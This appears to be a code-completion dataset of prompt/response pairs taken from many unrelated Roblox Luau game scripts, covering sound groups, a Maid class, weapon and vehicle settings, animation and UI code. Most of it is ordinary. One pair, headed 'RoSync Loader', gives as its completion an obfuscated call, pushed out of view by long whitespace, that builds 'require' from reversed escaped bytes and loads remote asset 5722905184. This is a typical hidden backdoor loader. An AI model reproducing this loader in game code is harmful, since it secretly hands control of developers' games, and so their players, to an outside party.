function main:CreateSoundGroup(parent:Instance?, name:string?, soundProperties:{}?, isFolder:boolean?) : SoundGroup|Folder
	if not parent then warn("Parent not specified, Footstep folder parented to workspace") end
	isFolder = isFolder or false
	soundProperties = soundProperties or {}
	parent = parent or workspace
	-- Create folder
	local SoundGroup = nil
	if not isFolder then
		SoundGroup = Instance.new("SoundGroup"); SoundGroup.Volume = 1; SoundGroup.Name = name or "Footsteps"
	else
		SoundGroup = Instance.new("Folder"); SoundGroup.Name = name or "Footsteps"
	end
	local index = 0
	for soundMaterial,soundList in pairs(main.SoundIds) do
		index = 0
		local sectionGroup = nil
		if not isFolder then
			sectionGroup = Instance.new("SoundGroup"); sectionGroup.Volume = 1; sectionGroup.Name = soundMaterial
		else
			sectionGroup = Instance.new("Folder"); sectionGroup.Name = soundMaterial
		end
		for _,soundId in pairs(soundList) do
			index += 1 -- Increment index
			local soundEffect = Instance.new("Sound")
			soundEffect.Name = string.format("%s_%02i",soundMaterial:lower(),index)
			-- Set optional sound group
			if not isFolder then
				soundEffect.SoundGroup = sectionGroup
			end
			for property,value in pairs(soundProperties) do
				soundEffect[property] = value
			end
			soundEffect.SoundId = soundId
			soundEffect.Parent = sectionGroup
		end
		sectionGroup.Parent = SoundGroup
	end

	SoundGroup.Parent = parent
	return SoundGroup
end


Prompt:
-- local ANCESTRY_SEPARATOR = ' › '
-- local TITLE_BULLET = chalk.bold('● ')
-- local STACK_TRACE_COLOR = chalk.dim

Response:
local STACK_PATH_REGEXP = "%s*at.*%(?:%d*:%d*%)?"
local STACK_PATH_REGEXP_NATIVE = "%s*at.*%(?native%)?"


Prompt: --[[ Last synced 12/29/2020 08:47                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
--- Add a task to clean up
-- @usage
-- Maid[key] = (function)         Adds a task to perform
-- Maid[key] = (event connection) Manages an event connection
-- Maid[key] = (Maid)             Maids can act as an event connection, allowing a Maid to have other maids to clean up.
-- Maid[key] = (Object)           Maids can cleanup objects with a `Destroy` method
-- Maid[key] = nil                Removes a named task. If the task is an event, it is disconnected. If it is an object,
--                                it is destroyed.

Response:
function Maid:__newindex(index, newTask)
	if (Maid[index] ~= nil) then
		error(("'%s' is reserved"):format(tostring(index)), 2)
	end

	local tasks = self._tasks
	local oldTask = tasks[index]
	tasks[index] = newTask

	if (oldTask) then
		if (type(oldTask) == "function") then
			oldTask()
		elseif (typeof(oldTask) == "RBXScriptConnection") then
			oldTask:Disconnect()
		elseif (oldTask.Destroy) then
			oldTask:Destroy()
		end
	end
end


Prompt:
--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--
--	Place this into StarterGui or StarterPack							--
--	CREDIT																--
--	WhoBloxxedWho; for the initial script								--
--	DoogleFox; some stuff ripped from his panner script					--
--	DuruTeru; shoving it all into this script and then some :)			--
--	UPDATE: turned it into r15, made it so you can swim right in water	--
--  Jan 07, 2017														--
--  UPDATE: added walkspeed easing directionally, also adding running   --
--  Nov 13, 2020														--
--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--


Prompt: -- Tycoon Module

Response:
local module = {}

module.money = script.Parent.Money
module.powers = script.Parent.Powers
module.crystals = script.Parent.Crystals

function module.init(Modules)
	local Sounds = Modules["Menu"]["sounds"]
	local Connections = {}
	local Player = game.Players.LocalPlayer
	local Tycoon = Player.PlayerTycoon.Value

	local function Unhook()
		for i,connection in pairs(Connections) do
			if connection.Connected then
				connection:Disconnect()
			end
			table.remove(Connections,i)
		end
	end

	local function Hook()
		Unhook()
		local Money = Player.MainData.Money
		local Powers = Player.MainData.Powers
		local Crystals = Player.MainData.Crystals
		table.insert(Connections,Powers.Changed:Connect(function()
			script.Parent.Powers.Value = Powers.Value
		end))
		table.insert(Connections,Crystals.Changed:Connect(function()
			script.Parent.Crystals.Value = Crystals.Value
		end))
		table.insert(Connections,Money.Changed:Connect(function()
			script.Parent.Money.Value = Money.Value
		end))
		script.Parent.Powers.Value = Powers.Value
		script.Parent.Crystals.Value = Crystals.Value
		script.Parent.Money.Value = Money.Value
	end
	Hook()
	Tycoon.Changed:Connect(Hook)
end

return module


Prompt: --// Unused (Don't delete)

Response:
	RestMode = false;
	AttachmentsEnabled = true;
	UIScope = false;
	CanSlideLock = false;


Prompt:
--[[ << GAMEPASS PERMISSIONS >>
Format:  [GamepassId] = "PermissionName" OR PermissionNumber ;																																													]]

Response:
Asset_Permissions={
	[0] = "Mod";
}																																																											;


Prompt: --Set braking torque and stop back 2 wheels

Response:
function Chassis.EnableHandbrake()
	setMotorMaxAcceleration(math.huge)
	Motors[3].MotorMaxTorque = ActualBrakingTorque
	Motors[4].MotorMaxTorque = ActualBrakingTorque
	Motors[3].AngularVelocity = 0
	Motors[4].AngularVelocity = 0
end


Prompt: --Lua primitives

Response:
t.boolean = primitive("boolean")
t.thread = primitive("thread")
t.callback = primitive("function")
t.none = primitive("nil")
t.string = primitive("string")
t.table = primitive("table")
t.userdata = primitive("userdata")

function t.number(value)
	local valueType = typeof(value)
	if valueType == "number" then
		if value == value then
			return true
		else
			return false
		end
	else
		return false
	end
end

function t.nan(value)
	if value ~= value then
		return true
	else
		return false
	end
end


Prompt:
-- The serialized array is compatible with pretty-format package min option.
-- However, items have default stringify depth (instead of depth - 1)
-- so expected item looks consistent by itself and enclosed in the array.

Response:
local function printReceivedArrayContainExpectedItem(received: Array<any>, index: number): string
	local receivedMap = {}
	for i, item in ipairs(received) do
		local stringified = stringify(item)
		if i == index then
			receivedMap[i] = INVERTED_COLOR(stringified)
		else
			receivedMap[i] = RECEIVED_COLOR(stringified)
		end
	end

	return RECEIVED_COLOR("{") .. table.concat(receivedMap, RECEIVED_COLOR(", ")) .. RECEIVED_COLOR("}")
end

local function printCloseTo(receivedDiff: number, expectedDiff: number, precision: number, isNot: boolean): string
	local receivedDiffString = stringify(receivedDiff)
	local expectedDiffString

	if receivedDiffString:find("e") then
		receivedDiffString = receivedDiffString:gsub("%+0", "+")
		receivedDiffString = receivedDiffString:gsub("%-0", "-")

		expectedDiffString = Number.toExponential(expectedDiff, 0)
	else
		if 0 <= precision and precision < 20 then
			local stringFormat = "%." .. precision + 1 .. "f"
			expectedDiffString = string.format(stringFormat, expectedDiff)
		else
			expectedDiffString = stringify(expectedDiff)
		end
	end

	if isNot then
		return string.format(
			"Expected precision:  %s  %s\n" .. "Expected difference: %s< %s\n" .. "Received difference: %s  %s",
			"      ",
			stringify(precision),
			"never ",
			EXPECTED_COLOR(expectedDiffString),
			"      ",
			RECEIVED_COLOR(receivedDiffString)
		)
	else
		return string.format(
			"Expected precision:  %s  %s\n" .. "Expected difference: %s< %s\n" .. "Received difference: %s  %s",
			"",
			stringify(precision),
			"",
			EXPECTED_COLOR(expectedDiffString),
			"",
			RECEIVED_COLOR(receivedDiffString)
		)
	end
end

local function printExpectedConstructorName(label: string, expected): string
	return printConstructorName(label, expected, false, true) .. "\n"
end

local function printExpectedConstructorNameNot(label: string, expected): string
	return printConstructorName(label, expected, true, true) .. "\n"
end

local function printReceivedConstructorName(label: string, received): string
	return printConstructorName(label, received, false, false) .. "\n"
end


Prompt: --[[ Local Constants ]]

Response:
--
local UNIT_Z = Vector3.new(0,0,1)
local X1_Y0_Z1 = Vector3.new(1,0,1)	--Note: not a unit vector, used for projecting onto XZ plane

local THUMBSTICK_DEADZONE = 0.2
local DEFAULT_DISTANCE = 12.5	-- Studs
local PORTRAIT_DEFAULT_DISTANCE = 25		-- Studs
local FIRST_PERSON_DISTANCE_THRESHOLD = 1.0 -- Below this value, snap into first person

local CAMERA_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value


Prompt: --				{ id = "slash.xml", weight = 10 }

Response:
			},
	toollunge = {
				{ id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
			},
	wave = {
				{ id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
			},
	point = {
				{ id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
			},
	dance = {
				{ id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
				{ id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
			},
	laugh = {
				{ id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
			},
	cheer = {
				{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
			},
}


Prompt: --// Touch Connections

Response:
L_3_:WaitForChild('Humanoid').Touched:connect(function(L_295_arg1)
	local L_296_, L_297_ = SearchResupply(L_295_arg1)
	if L_296_ and L_17_ then
		L_17_ = false
		L_96_ = L_24_.Ammo
		L_97_ = L_24_.StoredAmmo * L_24_.MagCount
		L_98_ = L_24_.ExplosiveAmmo
		if L_54_:FindFirstChild('Resupply') then
			L_54_.Resupply:Play()
		end
		wait(15)
		L_17_ = true
	end;
end)


Prompt: --// Walk and Sway

Response:
local L_129_

local L_130_ = 0.6
local L_131_ = 0.05 -- speed
local L_132_ = -0.1 -- height

local L_133_ = 0
local L_134_ = 0
local L_135_ = 35 --This is the limit of the mouse input for the sway
local L_136_ = -9 --This is the magnitude of the sway when you're unaimed
local L_137_ = -9 --This is the magnitude of the sway when you're aimed


Prompt:
--[[ Display Names ]]
--Uses DisplayNames instead of UserNames in chat messages

Response: module.PlayerDisplayNamesEnabled = false


Prompt: -- Must have hopped on a segway

Response:
SegwayObject.Changed:connect(function()
	if SegwayObject.Value ~= nil and SegwayObject.Value.Parent then

		if UserInputService.VREnabled then
			Camera.CameraType = "Scriptable"
		else
			Camera.CameraType = "Follow"
		end
		Lights = SegwayObject.Value:WaitForChild("Lights")
		Notifiers = SegwayObject.Value:WaitForChild("Notifiers")
		Character = Player.Character
		Humanoid = Character:WaitForChild("Humanoid")
		PlayerGui = Player.PlayerGui
		SitListener = Humanoid.Seated:connect(function()Hopoff()end)
		JumpListener = UserInputService.JumpRequest:connect(function()Hopoff()end)
		ConfigLights:FireServer(0,"Cyan",true,"Neon",Lights,Notifiers)
		CheckMobile()
		CheckVR()
		IsOnSegway = true

		ContextService:BindActionAtPriority("segInputAction",onGENInput,false,2100,
			Enum.KeyCode.Space,
			Enum.KeyCode.Backspace,
			Enum.KeyCode.ButtonA,
			Enum.KeyCode.W,
			Enum.KeyCode.Up,
			Enum.KeyCode.ButtonR2,
			Enum.KeyCode.S,
			Enum.KeyCode.Down,
			Enum.KeyCode.ButtonL2,
			Enum.KeyCode.D,
			Enum.KeyCode.Right,
			Enum.KeyCode.A,
			Enum.KeyCode.Left
		)
	end
end)

SetGuiButtons()

while game:GetService("RunService").Stepped:wait() do

	-- Update segway's bottom direction
	CastToGround()

	if SegwayObject.Value and SegwayObject.Value.Parent and SeaterObject.Value and Thruster.Value and TiltMotor.Value then

		-- Move segway
		Accelerate()

		-- Update the sound
		Sound()

		-- Tilts the segway
		Tilt()
		UpdateVRPos()
	end

end


Prompt: -- // Services

Response: local contentProvider = game:GetService("ContentProvider")


Prompt:
-- have a timer on the bomb X
-- make the bomb change colours X
-- have explosion instance create when timer reaches 0 X
-- if it is not == to zero then continue counting down and change colours X

Response:
explode = Instance.new("Explosion")
explode.BlastPressure = 1000000
explode.BlastRadius = 25
bombTimer = 10

function spawnBomb()
	while bombTimer >= 0 do
		if bombTimer == 0 then
			explode.Position = script.Parent.Position
			explode.Parent = game.Workspace.Bomb
			wait(0.15)
			script.Parent:Destroy()
		else
			wait(0.5)
			script.Parent.BrickColor = BrickColor.new("Really red")
			wait(0.5)
			script.Parent.BrickColor = BrickColor.new("Black")
			print("the bomb will explode in ".. bombTimer)
			bombTimer = bombTimer - 1
		end
	end
end

script.Parent.Touched:Connect(function()
	spawnBomb()
end)


Prompt: --script.Parent.Light2.BrickColor = BrickColor.new("Really black")

Response: wait(5.35)


Prompt: -- Public Methods

Response:
function RadialMenuClass:SetRadialProps(props)
	for _, child in next, self.Frame.Radial:GetChildren() do
		for prop, value in next, props do
			child[prop] = value
		end
	end
end

function RadialMenuClass:SetDialProps(props)
	local dial = self.Frame.RadialDial
	for prop, value in next, props do
		dial[prop] = value
	end
end

function RadialMenuClass:GetTheta(userInputType)
	local delta = nil

	if (MOUSE_GROUP[userInputType]) then
		local frame = self.Frame
		local radius = frame.AbsoluteSize.y/2
		local center = frame.AbsolutePosition + frame.AbsoluteSize/2
		local mousePos = UIS:GetMouseLocation() + Vector2.new(0, -36)
		delta = (mousePos - center) / radius
	elseif (GAMEPAD_GROUP[userInputType]) then
		local states = UIS:GetGamepadState(userInputType)
		for _, state in next, states do
			states[state.KeyCode] = state
		end
		delta = states[Enum.KeyCode.Thumbstick2].Position * Vector3.new(1, -1, 1)
	end

	if (delta) then
		local m = delta.Magnitude
		if (m >= self.DeadZoneIn and m <= self.DeadZoneOut) then
			return math.atan2(delta.y, -delta.x)
		end
	end
end

function RadialMenuClass:PickIndex(theta)
	local frameRot = math.rad(self.Frame.Rotation)
	local toDeg = math.deg(theta - self.Rotation + frameRot + EX_OFFSET + 2*TAU) % 360
	local closest = math.floor(toDeg / (360 / self.SubN))
	return closest + 1
end

function RadialMenuClass:GetRotation(index)
	return -TAU * ((index - 1) / self.SubN)
end

function RadialMenuClass:GetRadial(index)
	return self.Frame.Radial[index]
end

function RadialMenuClass:GetAttachment(index)
	return self.Frame.Attach[index]
end

function RadialMenuClass:GetAnimation(id)
	return game.ReplicatedStorage.Events.GetEmote:InvokeServer(id)
end

function RadialMenuClass:IsVisible()
	local frame = self.Frame
	while (frame and frame:IsA("GuiObject") and frame.Visible) do
		frame = frame.Parent
		if (frame and frame:IsA("ScreenGui") and frame.Enabled) then
			return true
		end
	end
	return false
end

function RadialMenuClass:Destroy()
	self._Maid:Sweep()
	self.Frame:Destroy()
	self.Clicked = nil
	self.Hover = nil
	self.Frame = nil
end


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "earth"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.25,0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --gun parts

Response:
local lufa = gunmodel:WaitForChild("lufa")
local boltmodel = gunmodel:WaitForChild("bolt")
local magmodel = gunmodel:WaitForChild("mag")
local boltpart = boltmodel:WaitForChild("boltpart")


Prompt: -- Remove back accessories since they frequently block the camera

Response:
local function isBackAccessory(instance)
	if instance and instance:IsA("Accessory") then
		local handle = instance:WaitForChild("Handle", 5)
		if handle and handle:IsA("Part") then
			local bodyBackAttachment = handle:WaitForChild("BodyBackAttachment", 5)
			if bodyBackAttachment and bodyBackAttachment:IsA("Attachment") then
				return true
			end

			local waistBackAttachment = handle:WaitForChild("WaistBackAttachment", 5)
			if waistBackAttachment and waistBackAttachment:IsA("Attachment") then
				return true
			end
		end
	end

	return false
end

local function removeBackAccessoriesFromCharacter(character)
	for _, child in ipairs(character:GetChildren()) do
		coroutine.wrap(function()
			if isBackAccessory(child) then
				child:Destroy()
			end
		end)()
	end
end

local descendantAddedConnection = nil
local function onCharacterAdded(character)
	removeBackAccessoriesFromCharacter(character)
	descendantAddedConnection = character.DescendantAdded:Connect(function(descendant)
		coroutine.wrap(function()
			if isBackAccessory(descendant) then
				descendant:Destroy()
			end
		end)()
	end)
end

local function onCharacterRemoving(character)
	if descendantAddedConnection then
		descendantAddedConnection:Disconnect()
		descendantAddedConnection = nil
	end
end


Prompt:
-- Bind function to update event. Used to update player's orientation if FilteringEnabled
-- is true (otherwise the rotation would not replicate from the rotating player)

Response:
updateEvent.OnServerEvent:connect(function(player, neckC0, rshoulderC0)
	local character = player.Character
	character.Torso.Neck.C0 = neckC0
	character.Torso:FindFirstChild("Right Shoulder").C0 = rshoulderC0
end)


Prompt: --Client -> Server

Response:
	-- Player
	local RF_getPlayerData = remoteFunctions.Client.GetPlayerData
	-- Player Vehicle
	local RF_vehicleSpawnRequest = remoteFunctions.Client.Vehicle.VehicleSpawnRequest
	local RF_vehicleRemoveRequest = remoteFunctions.Client.Vehicle.VehicleRemoveRequest
	-- Weapon
	local RF_GetUnlockedWeapons = remoteFunctions.Client.Weapon.GetUnlockedWeapons
	local RF_GetEquipedWeapon = remoteFunctions.Client.Weapon.GetEquipedWeapon
	local RF_GetWeaponInfo = remoteFunctions.Client.Weapon.GetWeaponInfo
	local RF_EquipWeapon = remoteFunctions.Client.Weapon.EquipWeapon
	local RF_UnEquipWeapon = remoteFunctions.Client.Weapon.UnEquipWeapon
	local RF_BuyWeapon = remoteFunctions.Client.Weapon.BuyWeapon
	-- Twitter
	local RF_redeemCode = remoteFunctions.Client.Twitter.RedeemCode


Response:
function findAllFlagStands(root)
	local c = root:children()
	for i=1,#c do
		if (c[i].className == "Model" or c[i].className == "Part") then
			findAllFlagStands(c[i])
		end
		if (c[i].className == "FlagStand") then
			table.insert(stands, c[i])
		end
	end
end

function hookUpListeners()
	for i=1,#stands do
		stands[i].FlagCaptured:connect(onCaptureScored)
	end
end

function onPlayerEntered(newPlayer)

	if CTF_mode == true then

		local stats = Instance.new("IntValue")
		stats.Name = "leaderstats"

		local captures = Instance.new("IntValue")
		captures.Name = "Captures"
		captures.Value = 0

		captures.Parent = stats

		-- VERY UGLY HACK
		-- Will this leak threads?
		-- Is the problem even what I think it is (player arrived before character)?
		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		stats.Parent = newPlayer

	else

		local stats = Instance.new("IntValue")
		stats.Name = "leaderstats"
		local kills = false
		if Settings.LeaderboardSettings.KOs then
			kills = Instance.new("IntValue")
			kills.Name = Settings.LeaderboardSettings.KillsName
			kills.Value = 0
		end
		local deaths = false
		if Settings.LeaderboardSettings.WOs then
			deaths = Instance.new("IntValue")
			deaths.Name = Settings.LeaderboardSettings.DeathsName
			deaths.Value = 0
		end

		local cash = false
		if Settings.LeaderboardSettings.ShowCurrency then
			cash = Instance.new("StringValue")
			cash.Name = Settings.CurrencyName
			cash.Value = 10000000
		end

		local PlayerStats = game.ServerStorage.PlayerMoney:FindFirstChild(newPlayer.Name)
		if PlayerStats ~= nil then
			if cash then
				local Short = Settings.LeaderboardSettings.ShowShortCurrency
				PlayerStats.Changed:connect(function()
					if (Short) then
						cash.Value = Settings:ConvertShort(PlayerStats.Value)
					else
						cash.Value = Settings:ConvertComma(PlayerStats.Value)
					end
				end)
			end
		end
		if kills then
		kills.Parent = stats
		end
		if deaths then
		deaths.Parent = stats
		end
		if cash then
		cash.Parent = stats
		end

		-- VERY UGLY HACK
		-- Will this leak threads?
		-- Is the problem even what I think it is (player arrived before character)?
		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		local humanoid = newPlayer.Character.Humanoid

		humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )

		-- start to listen for new humanoid
		newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )

		stats.Parent = newPlayer

	end

end

function onCaptureScored(player)

		local ls = player:findFirstChild("leaderstats")
		if ls == nil then return end
		local caps = ls:findFirstChild("Captures")
		if caps == nil then return end
		caps.Value = caps.Value + 1

end

findAllFlagStands(game.Workspace)
hookUpListeners()
if (#stands > 0) then CTF_mode = true end
game.Players.ChildAdded:connect(onPlayerEntered)


Prompt:
--[[
	Called when the goal state changes value; this will initiate a new tween.
	Returns false as the current value doesn't change right away.
]]

Response:
function class:update()
	self._prevValue = self._currentValue
	self._nextValue = self._goalState:get(false)

	self._currentTweenStartTime = os.clock()
	self._currentTweenInfo = self._tweenInfo

	local tweenDuration = self._tweenInfo.DelayTime + self._tweenInfo.Time
	if self._tweenInfo.Reverses then
		tweenDuration += self._tweenInfo.Time
	end
	tweenDuration *= self._tweenInfo.RepeatCount
	self._currentTweenDuration = tweenDuration

	-- start animating this tween
	TweenScheduler.add(self)
	return false
end

if ENABLE_PARAM_SETTERS then

	--[[
		Specifies a new TweenInfo to use when the goal state changes in the future.
	]]
	function class:setTweenInfo(newTweenInfo: TweenInfo)
		self._tweenInfo = newTweenInfo
	end

end

local function Tween(goalState: Types.State<Types.Animatable>, tweenInfo: TweenInfo?)
	local currentValue = goalState:get(false)

	local self = setmetatable({
		type = "State",
		kind = "Tween",
		dependencySet = {[goalState] = true},
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
		_goalState = goalState,
		_tweenInfo = tweenInfo or TweenInfo.new(),

		_prevValue = currentValue,
		_nextValue = currentValue,
		_currentValue = currentValue,

		-- store current tween into separately from 'real' tween into, so it
		-- isn't affected by :setTweenInfo() until next change
		_currentTweenInfo = tweenInfo,
		_currentTweenDuration = 0,
		_currentTweenStartTime = 0
	}, CLASS_METATABLE)

	initDependency(self)
	-- add this object to the goal state's dependent set
	goalState.dependentSet[self] = true

	return self
end

return Tween


Prompt: --// Connections

Response:
L_1_.Equipped:connect(function()
	local L_42_ = L_3_:FindFirstChild('Torso')
	local L_43_ = L_3_:FindFirstChild('Head')
	local L_44_ = L_3_:FindFirstChild('HumanoidRootPart')

	L_14_ = Instance.new("Motor6D", L_42_)
	L_14_.Parent = L_42_
	L_14_.Name = "Clone"
	L_14_.Part0 = L_44_
	L_14_.Part1 = L_43_
	L_14_.C0 = L_42_:WaitForChild("Neck").C0
	L_14_.C1 = L_42_:WaitForChild("Neck").C1


Prompt: --// Damage Settings

Response:
	BaseDamage = 16; -- Torso Damage
	LimbDamage = 8; -- Arms and Legs
	ArmorDamage = 8; -- How much damage is dealt against armor (Name the armor "Armor")
	HeadDamage = 20; -- If you set this to 100, there's a chance the player won't die because of the heal script


Prompt:
--[=[
	Yields the current thread until the given Promise completes. Returns true if the Promise resolved, followed by the values that the promise resolved or rejected with.

	:::caution
	If the Promise gets cancelled, this function will return `false`, which is indistinguishable from a rejection. If you need to differentiate, you should use [[Promise.awaitStatus]] instead.
	:::

	```lua
		local worked, value = getTheValue():await()

	if worked then
		print("got", value)
	else
		warn("it failed")
	end
	```

	@yields
	@return boolean -- `true` if the Promise successfully resolved
	@return ...any -- The values the Promise resolved or rejected with.
]=]

Response:
function Promise.prototype:await()
	return awaitHelper(self:awaitStatus())
end

local function expectHelper(status, ...)
	if status ~= Promise.Status.Resolved then
		error((...) == nil and "Expected Promise rejected with no value." or (...), 3)
	end

	return ...
end


Prompt:
-- The 3 possible UI states are:
-- Merch booth closed: merchBoothOpened = false, viewedItemId = nil
-- Catalog view: merchBoothOpened = true, viewedItemId = nil
-- Item: merchBoothOpened = true, viewedItemId = !nil
-- There are 6 events, one for entering and one for leaving each of those states


Prompt:
--[[
Creates a part.
--]]

Response:
local function CreatePart(Color,Size,CF,Parent)
	local Part = Instance.new("Part")
	Part.Color = Color
	Part.Material = "Plastic"
	Part.Size = Size
	Part.CFrame = CF
	Part.TopSurface = "Studs"
	Part.BottomSurface = "Inlet"
	Part.Parent = Parent

	return Part
end


Prompt: -- Show where the red lines are going. You can change their colour and width in VisualizerCache

Response: local SHOW_DEBUG_RAY_LINES: boolean = false


Prompt:
----------------------------------------------------------------------
--------------------[ BLOOD HANDLING ]--------------------------------
----------------------------------------------------------------------

Response:
local createBlood = script:WaitForChild("createBlood")
createBlood.OnServerEvent:connect(function(_, H, P, D, gunIgnore, S)
	local bloodCF = CF(P, P + D) * CFANG(RAD(-90), 0, 0)
	local Blood = Instance.new("Part")
	Blood.Transparency = 1
	Blood.Anchored = true
	Blood.CanCollide = false
	Blood.FormFactor = "Custom"
	Blood.Size = V3(0.2, 1, 0.2)
	Blood.TopSurface = 0
	Blood.BottomSurface = 0

	local Particles = Instance.new("ParticleEmitter")
	Particles.Color = ColorSequence.new(S.bloodSettings.Color)
	Particles.LightEmission = 0
	Particles.Size = NumberSequence.new(S.bloodSettings.Size)
	Particles.Texture = S.bloodSettings.Texture
	Particles.Transparency = NumberSequence.new(
		{
			NumberSequenceKeypoint.new(0, S.bloodSettings.startTransparency);
			NumberSequenceKeypoint.new(1, 1);
		}
	)
	Particles.EmissionDirection = Enum.NormalId.Top
	Particles.Lifetime = NumberRange.new(S.bloodSettings.Lifetime - 0.05, S.bloodSettings.Lifetime + 0.05)
	Particles.Rate = S.bloodSettings.Rate
	Particles.Rotation = NumberRange.new(0, 90)
	Particles.Speed = NumberRange.new(S.bloodSettings.Speed)
	Particles.VelocitySpread = S.bloodSettings.Spread
	Particles.Parent = Blood

	Blood.Parent = gunIgnore
	Blood.CFrame = bloodCF
	if (not H.Anchored) then
		local Weld = Instance.new("Weld", Blood)
		Weld.Part0 = H
		Weld.Part1 = Blood
		Weld.C0 = H.CFrame:toObjectSpace(bloodCF)
		Blood.Anchored = false
	end
	delay(0.15, function()
		Particles.Enabled = false
		wait(S.bloodSettings.Lifetime + 0.05)
		Blood:Destroy()
	end)
end)


Prompt:
--------------------
--| Script Logic |--
--------------------

Response:
Tool.Equipped:Connect(OnEquipped)
Tool.Activated:Connect(OnActivated)


Prompt: --print("Keyframe : ".. frameName)

Response:
playToolAnimation(toolAnimName, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end


Prompt: --Stickmasterluke

Response:
sp=script.Parent

local h=sp:FindFirstChild("Humanoid")
local t=sp:FindFirstChild("Torso")
if h~=nil and t~=nil and h.Health>0 then
	local f=Instance.new("Fire")
	f.Color=Color3.new(1,0,0)
	f.SecondaryColor=Color3.new(1,1,1)
	f.Size=3
	f.Heat=2
	f.Parent=t
	if f~=nil then
		f:remove()
	end
end
script:remove()


Prompt: --Close/Store Wear Data

Response:
car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		local wD=car:FindFirstChild("WearData")
		if car:FindFirstChild("WearData")==nil then
			wD = script.Parent.WearData:Clone()
			wD.Parent=car
		end
		for i,v in pairs(Wheels) do
			wD[v.wheel.Name].Value = v.Heat
		end
		wD.STime.Value=tick()
	end
end)


Prompt: --// Firemode Settings

Response:
	CanSelectFire = true;
	BurstEnabled = false;
	SemiEnabled = true;
	AutoEnabled = false;
	BoltAction = false;
	ExplosiveEnabled = false;


Prompt: -- services

Response:
local players = game:GetService("Players")
local text_service = game:GetService("TextService")
local tween_service = game:GetService("TweenService")


Prompt: -- Services

Response: local textService = game:GetService("TextService")


Prompt: -- emote bindable hook

Response:
if FFlagAnimateScriptEmoteHook then
	script:WaitForChild("PlayEmote").OnInvoke = function(emote)
		-- Only play emotes when idling
		if pose ~= "Standing" then
			return
		end

		if emoteNames[emote] ~= nil then
			-- Default emotes
			playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)

			return true
		elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
			-- Non-default emotes
			playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
			return true
		end

		-- Return false to indicate that the emote could not be played
		return false
	end
end


Prompt: -- Libraries

Response: local Roact = require(Vendor:WaitForChild('Roact'))


Prompt: --Made by Luckymaxer

Response:
Figure = script.Parent

RunService = game:GetService("RunService")

Creator = Figure:FindFirstChild("Creator")

Humanoid = Figure:WaitForChild("Humanoid")
Head = Figure:WaitForChild("Head")
Torso = Figure:WaitForChild("Torso")

LeftShoulder = Torso:WaitForChild("Left Shoulder")
RightShoulder = Torso:WaitForChild("Right Shoulder")
LeftHip = Torso:WaitForChild("Left Hip")
RightHip = Torso:WaitForChild("Right Hip")

for i, v in pairs({Neck, LeftShoulder, RightShoulder, LeftHip, RightHip}) do
	if v and v.Parent then
		v.DesiredAngle = 0
		v.CurrentAngle = 0
	end
end

Pose = "None"
LastPose = Pose
PoseTime = tick()

function SetPose(pose)
	LastPose = Pose
	Pose = pose
	PoseTime = tick()
end

function OnRunning(Speed)
	if Speed > 0 then
		SetPose("Running")
	else
		SetPose("Standing")
	end
end

function OnDied()
	SetPose("Dead")
end

function OnJumping()
	SetPose("Jumping")
end

function OnClimbing()
	SetPose("Climbing")
end

function OnGettingUp()
	SetPose("GettingUp")
end

function OnFreeFall()
	SetPose("FreeFall")
end

function OnFallingDown()
	SetPose("FallingDown")
end

function OnSeated()
	SetPose("Seated")
end

function OnPlatformStanding()
	SetPose("PlatformStanding")
end

function OnSwimming(Speed)
	return OnRunning(Speed)
end

function MoveJump()
	RightShoulder.MaxVelocity = 0.075
	LeftShoulder.MaxVelocity = 0.075
	RightShoulder.DesiredAngle = math.pi
	LeftShoulder.DesiredAngle = -math.pi
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end

function MoveFreeFall()
	RightShoulder.MaxVelocity = 0.125
	LeftShoulder.MaxVelocity = 0.125
	RightShoulder.DesiredAngle = math.pi
	LeftShoulder.DesiredAngle = -math.pi
	RightHip.DesiredAngle = 0
	LeftHip.DesiredAngle = 0
end

function MoveSit()
	RightShoulder.MaxVelocity = 0.075
	LeftShoulder.MaxVelocity = 0.075
	RightShoulder.DesiredAngle = (math.pi / 2)
	LeftShoulder.DesiredAngle = -(math.pi / 2)
	RightHip.DesiredAngle = 1
	LeftHip.DesiredAngle = -1
end

function Move(Time)
	local LimbAmplitude
	local LimbFrequency
	local NeckAmplitude
	local NeckFrequency
	local NeckDesiredAngle

	if (Pose == "Jumping") then
		MoveJump()
		return
